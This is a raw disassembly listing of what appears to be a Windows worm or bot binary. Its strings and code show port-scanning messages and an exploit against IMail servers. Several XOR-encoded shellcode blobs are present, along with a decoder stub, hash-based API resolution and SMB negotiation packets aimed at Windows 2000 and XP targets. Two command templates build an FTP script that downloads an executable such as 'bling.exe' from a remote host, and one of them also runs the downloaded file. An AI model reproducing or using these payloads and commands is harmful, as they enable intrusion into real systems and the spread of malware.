unk_43E440	db  2Dh	; -		; DATA XREF: sub_409757+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 10h
unk_43E460	db  2Dh	; -		; DATA XREF: sub_4097CE+DBo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_2	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_43E494	db  2Dh	; -		; DATA XREF: sub_4097CE+149o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_18	db ' Failed to start server, error: <%d>.',0
		align 4
unk_43E4C8	db  2Dh	; -		; DATA XREF: sub_4097CE+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_43E4FC	db  2Dh	; -		; DATA XREF: sub_4097CE+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_19	db 'Failed to start server, error: <%d>.',0
		align 10h
unk_43E530	db  2Dh	; -		; DATA XREF: sub_4097CE+322o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_1	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_43E56C	db  2Dh	; -		; DATA XREF: sub_4097CE+390o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_20	db ' Failed to start server, error: <%d>.',0
		align 10h
aD_D_D_D_0	db '%d.%d.%d.%d',0      ; DATA XREF: sub_409BC6+38o
aSocketOpenFail	db 'socket open failed',0 ; DATA XREF: ___:00409DF4o
		align 10h
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00409E2Bo
aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: ___:00409E85o
		align 4
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: ___:00409EAAo
		align 4
aSocketClosed_	db 'Socket closed.',0   ; DATA XREF: ___:loc_409EBAo
		align 4
unk_43E624	db  2Dh	; -		; DATA XREF: sub_409ECC+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_43E65C	db  2Dh	; -		; DATA XREF: sub_409ECC+EBo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_43E684	db  2Dh	; -		; DATA XREF: sub_409ECC+29Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
unk_43E6B8	db  2Dh	; -		; DATA XREF: sub_409ECC+317o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_43E6EC	db  2Dh	; -		; DATA XREF: sub_409ECC+387o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_43E724	db  2Dh	; -		; DATA XREF: sub_409ECC+3E2o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
dword_43E764	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40A33F+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
aA01Login	db 'a01 LOGIN "&',0     ; DATA XREF: ___:0040A721o
		align 4
dword_43E81C	dd 0E983C92Bh, 0FFFFE8B8h, 5EC0FFFFh, 0E00E7681h, 837C1F1Ah
					; DATA XREF: ___:0040A731o
		dd 0F4E2FCEEh, 31F4701Ch, 83E0E308h, 10947A1Fh,	39943EC4h
		dd 796391DCh, 0F7F01B98h, 239402AFh, 35F41BC0h,	7D942E6Bh
		dd 0E5DF2B0Eh, 8DF9E4Ch, 71D5DBE7h, 88F4D8E1h, 543B4EDBh
		dd 2394FF95h, 1AF41BC4h, 0F754166Bh, 971E06BFh,	0F59436E3h
		dd 1D033E8Ch, 18C42B23h, 0F72F596Bh, 0C9416A0h,	3C94B7FCh
		dd 0F27744E8h, 2CF314AEh, 2F79CC1Fh, 4E2C7286h,	4E6C6D88h
		dd 0ACE04EBFh, 80F2D188h, 0AAE04ADBh, 1AFA93BFh, 7E17F761h
		dd 831D70B5h, 75C67230h, 8348B715h, 2F4C4936h, 3F4C59B3h
		dd 14CFE5B3h
dword_43E8D4	dd 7D1F1A9Fh		; DATA XREF: ___:0040A6EEo
		db 86h,	72h
word_43E8DA	dw 0AE1Bh		; DATA XREF: ___:0040A700o
		dd 9D964986h, 85F37275h, 83487A4Ah, 2D0F7036h, 1ACFE5B5h
		dd 14797E8Ah, 2C757783h, 0F5D333B9h, 0F55B7007h, 8FDF2B02h
		dd 81968F4Ah, 8232581Eh, 69236A2h, 0D7B4B1D8h, 0CFE16888h
		dd 546AE5F6h, 2B44CC1Fh, 2D4E4BB2h, 2D4E1B8Ah, 0ACE04BB5h
		dd 79C6B788h, 0AAE0492Eh, 4BE0E58Ah, 9B77CA1Fh,	8366DC99h
		dd 0AAE01E95h, 83E36D1Fh, 0F6EF7230h, 834C45E4h, 7CCFE536h
		dd 0
; ---------------------------------------------------------------------------


loc_43E958:				; DATA XREF: ___:0040A7CBo
					; ___:0040A7FDo ...
		jmp	short loc_43E95E
; ---------------------------------------------------------------------------
		align 4


loc_43E95C:				; DATA XREF: ___:0040A7DCo
		jmp	short near ptr dword_43E960
; ---------------------------------------------------------------------------


loc_43E95E:				; CODE XREF: ___:loc_43E958j
		add	[eax], edx
; ---------------------------------------------------------------------------
dword_43E960	dd 0			; CODE XREF: ___:loc_43E95Cj
dword_43E964	dd 100103BBh, 0		; DATA XREF: ___:0040A80Eo
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 8, 1, 10h
		dd 0
dword_43E974	dd 100102D9h, 0		; DATA XREF: ___:0040A884o
dword_43E97C	dd 1001031Bh, 0		; DATA XREF: ___:0040A8B1o
dword_43E984	dd 10010269h, 0		; DATA XREF: ___:0040A8EFo
dword_43E98C	dd 10010296h, 0		; DATA XREF: ___:0040A91Co
dword_43E994	dd 100102E2h, 0		; DATA XREF: ___:0040A949o
dword_43E99C	dd 100102E2h, 0		; DATA XREF: ___:0040A976o
dword_43E9A4	dd 100102E2h, 0		; DATA XREF: ___:0040A9A3o
dword_43E9AC	dd 100102E2h, 0		; DATA XREF: ___:0040A9D0o
dword_43E9B4	dd 10010302h, 0		; DATA XREF: ___:0040A9FDo
dword_43E9BC	dd 100249D4h, 0		; DATA XREF: ___:0040AA2Ao
dword_43E9C4	dd 1001D9BBh, 0		; DATA XREF: ___:0040AA57o
dword_43E9CC	dd 100218E6h, 0		; DATA XREF: ___:0040AA84o
dword_43E9D4	dd 10021782h, 0		; DATA XREF: ___:0040AAAEo
dword_43E9DC	dd 10021A51h, 0		; DATA XREF: ___:0040AAD8o
dword_43E9E4	dd 10021A51h, 0		; DATA XREF: ___:0040AB02o
dword_43E9EC	dd 10021A62h, 0		; DATA XREF: ___:0040AB3Co
; ---------------------------------------------------------------------------


loc_43E9F4:				; DATA XREF: ___:0040A742o
		jmp	short loc_43EA05
; ---------------------------------------------------------------------------


loc_43E9F6:				; CODE XREF: ___:loc_43EA05p
		pop	ebx
		xor	ecx, ecx
		sub	cx, 0FFE0h


loc_43E9FD:				; CODE XREF: ___:0043EA01j
		xor	byte ptr [ebx],	55h
		inc	ebx
		loop	loc_43E9FD
		jmp	short near ptr word_43EA0A
; ---------------------------------------------------------------------------


loc_43EA05:				; CODE XREF: ___:loc_43E9F4j
		call	loc_43E9F6
; ---------------------------------------------------------------------------
word_43EA0A	dw 0BB8Ch		; CODE XREF: ___:0043EA03j
		dd 0A171218Ch, 5F94D50Ch, 0AB98ABC5h, 15BCD598h, 0B4AAh
dword_43EA20	dd 57222022h, 6E773065h, 0A0D22h ; DATA	XREF: ___:0040A756o
aImail		db 'IMail',0            ; DATA XREF: ___:0040A79Fo
		align 4
a7_04		db '7.04',0             ; DATA XREF: ___:0040A7B9o
		align 4
a7_05		db '7.05',0             ; DATA XREF: ___:loc_40A7EBo
		align 4
a7_06		db '7.06',0             ; DATA XREF: ___:loc_40A815o
		align 4
a7_07		db '7.07',0             ; DATA XREF: ___:0040A826o
		align 4
a7_10		db '7.10',0             ; DATA XREF: ___:loc_40A850o
		align 4
a7_11		db '7.11',0             ; DATA XREF: ___:0040A861o
		align 4
a7_12		db '7.12',0             ; DATA XREF: ___:loc_40A88Eo
		align 4
a7_13		db '7.13',0             ; DATA XREF: ___:loc_40A8BBo
		align 4
a7_14		db '7.14',0             ; DATA XREF: ___:0040A8CCo
		align 4
a7_15		db '7.15',0             ; DATA XREF: ___:loc_40A8F9o
		align 4
a8_00		db '8.00',0             ; DATA XREF: ___:loc_40A926o
		align 4
a8_01		db '8.01',0             ; DATA XREF: ___:loc_40A953o
		align 4
a8_02		db '8.02',0             ; DATA XREF: ___:loc_40A980o
		align 4
a8_03		db '8.03',0             ; DATA XREF: ___:loc_40A9ADo
		align 4
a8_04		db '8.04',0             ; DATA XREF: ___:loc_40A9DAo
		align 4
a8_05		db '8.05',0             ; DATA XREF: ___:loc_40AA07o
		align 4
a8_10		db '8.10',0             ; DATA XREF: ___:loc_40AA34o
		align 4
a8_11		db '8.11',0             ; DATA XREF: ___:loc_40AA61o
		align 4
a8_12		db '8.12',0             ; DATA XREF: ___:loc_40AA8Bo
		align 4
a8_13		db '8.13',0             ; DATA XREF: ___:loc_40AAB5o
		align 4
a8_14		db '8.14',0             ; DATA XREF: ___:loc_40AADFo
		align 4
a8_15		db '8.15',0             ; DATA XREF: ___:loc_40AB19o
		align 4
aHotfix2	db 'hotfix2',0          ; DATA XREF: ___:loc_40AB43o
a4_0		db '4.0',0              ; DATA XREF: ___:loc_40AB5Fo
a5_0		db '5.0',0              ; DATA XREF: ___:0040AB70o
a6_0		db '6.0',0              ; DATA XREF: ___:0040AB81o
a7_0		db '7.0',0              ; DATA XREF: ___:0040AB92o
aImail_0	db 'IMail',0            ; DATA XREF: ___:loc_40ABA3o
		align 4
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: sub_40ACD9+42o
		db 'echo quit >> o &ftp -n -s:o',0Dh,0Ah,0
		align 4
aBling_exe	db 'bling.exe',0Dh,0Ah,0 ; CODE XREF: ___:0043EBAEj
					; DATA XREF: sub_40ACD9+85o
; ---------------------------------------------------------------------------


loc_43EB70:				; DATA XREF: sub_40AF1B+118o
		jmp	short loc_43EB75
; ---------------------------------------------------------------------------


loc_43EB72:				; CODE XREF: ___:loc_43EB75p
		pop	ebp
		jmp	short loc_43EB7A
; ---------------------------------------------------------------------------


loc_43EB75:				; CODE XREF: ___:loc_43EB70j
		call	loc_43EB72


loc_43EB7A:				; CODE XREF: ___:0043EB73j
		mov	eax, ebp
		add	eax, 11h
		xor	ecx, ecx
		mov	cx, 1C9h	; CODE XREF: ___:0043EBA0j


loc_43EB85:				; CODE XREF: ___:0043EB89j
		xor	byte ptr [eax],	88h
		inc	eax
		loop	loc_43EB85
		fld	qword ptr [ebx]
		add	edi, fs:[ecx+ecx+64h]
		or	[eax-3B9F7778h], cl
		mov	[eax+74CE0188h], ecx


loc_43EB9E:				; CODE XREF: ___:loc_43EB9Ej
		ja	short loc_43EB9E
		jz	short near ptr loc_43EB81+1
		push	es
		mov	byte ptr [esi-76269F9Ch], 88h
		mov	[ecx], al
		into
		dec	esi
		loopne	near ptr aBling_exe+7
		mov	edx, 0FFE08888h
		sti
		mov	edx, 0DE77DCD7h
		dec	esi
		add	esi, ecx
		jo	short loc_43EC37
; ---------------------------------------------------------------------------
		dd 25E074FEh, 60468D51h, 888889B8h, 775ACE01h, 0FAE074FEh
		dd 609E3B76h, 888889A8h, 7746CE01h, 67E074FEh, 60E86846h
		dd 88888998h, 7742CE01h, 43E070FEh, 60B37465h
		db 88h,	89h, 88h
; ---------------------------------------------------------------------------


loc_43EBFB:				; CODE XREF: ___:loc_43EC6Fj
		mov	[ecx], al
		into
		jl	short loc_43EC77
; ---------------------------------------------------------------------------
		db 0FEh, 70h, 0E0h
; ---------------------------------------------------------------------------


loc_43EC03:				; CODE XREF: ___:0043EC21j
		push	ecx
		cmp	dword ptr [ebp+25h], 88887860h
		mov	[ecx], al
		into
		js	short loc_43EC87
; ---------------------------------------------------------------------------
		db 0FEh, 70h, 0E0h
; ---------------------------------------------------------------------------


loc_43EC13:				; CODE XREF: ___:0043EC31j
		sub	al, 92h
		clc
		dec	edi
		pusha
		push	1888888h
		into
		db	64h		; CODE XREF: ___:0043EC1Ej
		ja	short near ptr loc_43EC1E+1
		jo	short loc_43EC03


loc_43EC23:				; CODE XREF: ___:0043EC41j
		sub	al, 25h
		cmpsb
		popa
		pusha
		pop	eax
		mov	[eax+60CE0188h], cl


loc_43EC2F:				; CODE XREF: ___:loc_43EC2Fj
		ja	short loc_43EC2F
		jo	short loc_43EC13
		insd
		ror	dword ptr [esi], 0C1h


loc_43EC37:				; CODE XREF: ___:0043EBBEj
		pusha
		dec	eax
		mov	[eax+6ACE0188h], cl


loc_43EC3F:				; CODE XREF: ___:loc_43EC3Fj
		ja	short loc_43EC3F
		jo	short loc_43EC23
		outsd
		icebp
		dec	esi
		icebp
		pusha


loc_43EC48:				; CODE XREF: ___:0043EC68j
		cmp	[eax-31FE7778h], cl
		pop	esi
		mov	ebx, 7C640977h
		mov	[eax-761F2378h], ecx


loc_43EC5A:				; CODE XREF: ___:loc_43EC7Aj
					; ___:0043EC7Fj
		mov	[eax+7CDE7788h], ecx
		fcomp	st
		fcomp	st
		enter	0FFFFC8D8h, 0D8h ; CODE	XREF: ___:loc_43EC87j
		ja	short loc_43EC48
		js	short loc_43EC6F
		push	eax
		fstp9	st(7)


loc_43EC6F:				; CODE XREF: ___:0043EC6Aj
		loopne	loc_43EBFB
		mov	[ebx-1DBBFC91h], ch


loc_43EC77:				; CODE XREF: ___:0043EBFEj
		sahf
		fstp1	st(3)


loc_43EC7A:				; CODE XREF: ___:0043ECACj
		ja	short loc_43EC5A


loc_43EC7C:				; CODE XREF: ___:0043EC8Ej
		db	64h
		fstp9	st(3)
		ja	short near ptr loc_43EC5A+5
		pusha
		mov	ebx, 0DBD9DF77h


loc_43EC87:				; CODE XREF: ___:0043EC0Ej
		ja	short near ptr loc_43EC64+3
		push	3
		pop	eax
		add	esi, ecx
		db	36h		; CODE XREF: ___:0043ECD5j
		loopne	loc_43EC7C
		in	eax, 0ECh
		mov	[ecx], al
		out	dx, al
		dec	edx
		or	ecx, [esp+5]
		mov	ah, 0ACh
		mov	ebx, 841BB48h
		dec	ecx
		popf
		and	ebp, [edx+75h]
		dec	esi
		int	3		; Trap to Debugger
		lodsb
		cwde
		int	3		; Trap to Debugger
		jbe	short loc_43EC7A
		lodsb
		mov	ch, 1
		fsubr	qword ptr [eax+eax*8-3B5323FFh]	; CODE XREF: ___:0043ECD7j
		add	esp, ebx
		lodsb
		fadd	dword ptr ds:0DC98ACCCh
		fcomp	st(1)
		fstp1	st(1)
		leave
		fld	st(1)
		fstp1	st(1)


loc_43ECCA:				; CODE XREF: ___:loc_43ECCAj
		ja	short loc_43ECCA
		dec	edx
		fnstenv	byte ptr [edi-22h]
		inc	esi
		add	eax, [edx+77h]
		ja	short near ptr loc_43EC8E+2
		ja	short near ptr loc_43ECB1+6
		pop	edx
		add	eax, [eax+77h]
; ---------------------------------------------------------------------------
		db 0FEh, 36h, 77h
		dd 16635EDEh, 0DE9CDE77h, 88B829ECh, 0C8038888h, 94F80384h
		dd 80C80325h, 888C4AD6h, 0DFDEDDDBh, 90ACE403h,	3B4CD03h
		dd 8BF08DDCh, 90C2035Dh, 8BA8D203h, 0C1BA6B55h,	8B03BC03h
		dd 7477BB7Dh, 0B22448BBh, 498FFC4Ch, 708B8547h,	0F4B37A63h
		dd 69FD9CACh, 8BACD203h, 8403EE55h, 94D203C3h, 8C03558Bh
		dd 634D8B03h, 348BB8Ah,	0D5D6D75Dh, 888C4AD3h
dword_43ED54	dd 280004h, 10h, 4 dup(0) ; DATA XREF: sub_40AF1B+7Bo
		dd 5A7B91F8h, 11D0FF00h, 0C000B2A9h, 0FCE6B64Fh, 0FFFFFFFFh
		dd 68736942h, 326B656Bh, 0FF333030h, 0
		dd 1, 0
		dd 0FFFF0000h, 0FFFFFFFFh, 0FFFFh, 0
aWindows2000Sp3	db 'Windows 2000 SP 3 (en)',0 ; DATA XREF: ___:0040ADC3o
		align 10h
aWindowsXpSp1En	db 'Windows XP SP 1 (en)',0 ; DATA XREF: ___:0040ADDCo
		align 4
dword_43EDD8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_40AF1B+10o
		dd 0FFFFFFFFh, 0
aNetmaniac	db 'NETMANIAC',0        ; DATA XREF: sub_40AF1B+1Eo
		align 4
aAdik		db 'ADIK',0             ; DATA XREF: sub_40AF1B+2Ao
		align 4
byte_43EDFC	db 5 dup(90h)		; DATA XREF: sub_40AF1B+35o
; ---------------------------------------------------------------------------
		jmp	short loc_43EE06

; =============== S U B	R O U T	I N E =======================================



sub_43EE03	proc near		; CODE XREF: sub_43EE03:loc_43EE06p
		pop	eax
		jmp	short loc_43EE0B
; ---------------------------------------------------------------------------


loc_43EE06:				; CODE XREF: ___:0043EE01j
		call	sub_43EE03


loc_43EE0B:				; CODE XREF: sub_43EE03+1j
		mov	ecx, 0FFFFFFFFh
		sub	ecx, 0FFFFEE7Fh
		sub	eax, ecx
		jmp	eax
sub_43EE03	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
byte_43EE1C	db 4 dup(90h)		; DATA XREF: sub_40AF1B+45o
		dd 909010EBh, 90909090h, 0
aMessage	db '*** MESSAGE ***',0  ; DATA XREF: sub_40AF1B+51o
aMsgBodySizeD	db '[*] Msg body size: %d',0Ah,0 ; DATA XREF: sub_40AF1B+177o
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40B3A1+B2o
		align 10h
dword_43EE60	dd 10FF8h, 0		; DATA XREF: sub_40B3A1+6Ao
dword_43EE68	dd 10FF8h		; DATA XREF: sub_40B3A1+79o
dword_43EE6C	dd 7FFDF020h, 0		; DATA XREF: sub_40B3A1+162o
dword_43EE74	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40B7CB+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_43EEFC	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40B7CB+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_43EF2C	dd 0			; DATA XREF: sub_40B7CB+44o
		dd 800000D4h, 0
unk_43EF38	db  81h	; 		; DATA XREF: sub_40B8A5+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_43EF84	db 41h			; DATA XREF: sub_40B943+FFr
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_43EFC8	proc near		; DATA XREF: ___:0040BBFAo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_43F0C4
		push	dword ptr [esi]
		push	63D61209h
		call	sub_43F0DA
		mov	[esi+8], eax
		call	sub_43F08D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_43F0DA
		mov	[esi+0Ch], eax
		call	sub_43F03F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_43F0DA
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_43EFC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_43F03F	proc near		; CODE XREF: sub_43EFC8+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_43F068
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_43F03F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43F068	proc near		; CODE XREF: sub_43F03F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_43F077:				; CODE XREF: sub_43F068+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_43F084
		inc	ebx
		jmp	short loc_43F077
; ---------------------------------------------------------------------------


loc_43F084:				; CODE XREF: sub_43F068+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_43F068	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43F08D	proc near		; CODE XREF: sub_43EFC8+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_43F0A5:				; CODE XREF: sub_43F08D+1Ej
		cmp	[ecx], ebx
		jz	short loc_43F0AD
		mov	ecx, [ecx]
		jmp	short loc_43F0A5
; ---------------------------------------------------------------------------


loc_43F0AD:				; CODE XREF: sub_43F08D+1Aj
		mov	edx, edi


loc_43F0AF:				; CODE XREF: sub_43F08D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_43F0B9
		mov	edx, [edx+4]
		jmp	short loc_43F0AF
; ---------------------------------------------------------------------------


loc_43F0B9:				; CODE XREF: sub_43F08D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_43F08D	endp


; =============== S U B	R O U T	I N E =======================================



sub_43F0C4	proc near		; CODE XREF: sub_43EFC8+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_43F0C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_43F0DA	proc near		; CODE XREF: sub_43EFC8+16p
					; sub_43EFC8+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_43F0F0:				; CODE XREF: sub_43F0DA+33j
		jecxz	short loc_43F12A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_43F0FD:				; CODE XREF: sub_43F0DA+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_43F109
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_43F0FD
; ---------------------------------------------------------------------------


loc_43F109:				; CODE XREF: sub_43F0DA+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_43F0F0
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_43F12A:				; CODE XREF: sub_43F0DA:loc_43F0F0j
					; sub_43F0DA:loc_43F12Aj
		jmp	short loc_43F12A
sub_43F0DA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_43F130	proc near		; DATA XREF: ___:0040BBA8o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_43F182
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_43F14D:				; CODE XREF: sub_43F130+38j
		jecxz	short loc_43F17D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_43F158:				; CODE XREF: sub_43F130+32j
		lodsb
		test	al, al
		jz	short loc_43F164
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_43F158
; ---------------------------------------------------------------------------


loc_43F164:				; CODE XREF: sub_43F130+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_43F14D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_43F17D:				; CODE XREF: sub_43F130:loc_43F14Dj
		mov	[esp+arg_0], ebx
		retn
sub_43F130	endp


; =============== S U B	R O U T	I N E =======================================



sub_43F182	proc near		; CODE XREF: sub_43F130+7p

; FUNCTION CHUNK AT 0043F1BA SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_43F19B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_43F1A6
; ---------------------------------------------------------------------------


loc_43F19B:				; CODE XREF: sub_43F182+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_43F1A6:				; CODE XREF: sub_43F182+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_43F1BA
sub_43F182	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43F1AD	proc near		; CODE XREF: sub_43F182:loc_43F1BAp
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_43F1AD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F182


loc_43F1BA:				; CODE XREF: sub_43F182+29j
		call	sub_43F1AD


loc_43F1BF:				; DATA XREF: sub_40B346+1Bo
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_43F182
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_43F1C4:				; DATA XREF: sub_40B3A1+E8o
		jmp	short near ptr dword_43F1CC
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_43F1CC	dd 0			; CODE XREF: ___:loc_43F1C4j
aCccc		db 'CCCC',0             ; DATA XREF: sub_40B3A1+153o
		align 4
dword_43F1D8	dd 3			; DATA XREF: sub_40B3A1+246o
dword_43F1DC	dd 0A1h			; DATA XREF: sub_40B3A1+29Fo
dword_43F1E0	dd 30h			; DATA XREF: sub_40B3A1+2CAo
dword_43F1E4	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40B3A1+2F5o
dword_43F1F0	dd 60h			; DATA XREF: sub_40B3A1+320o
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040BBCFo
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 4
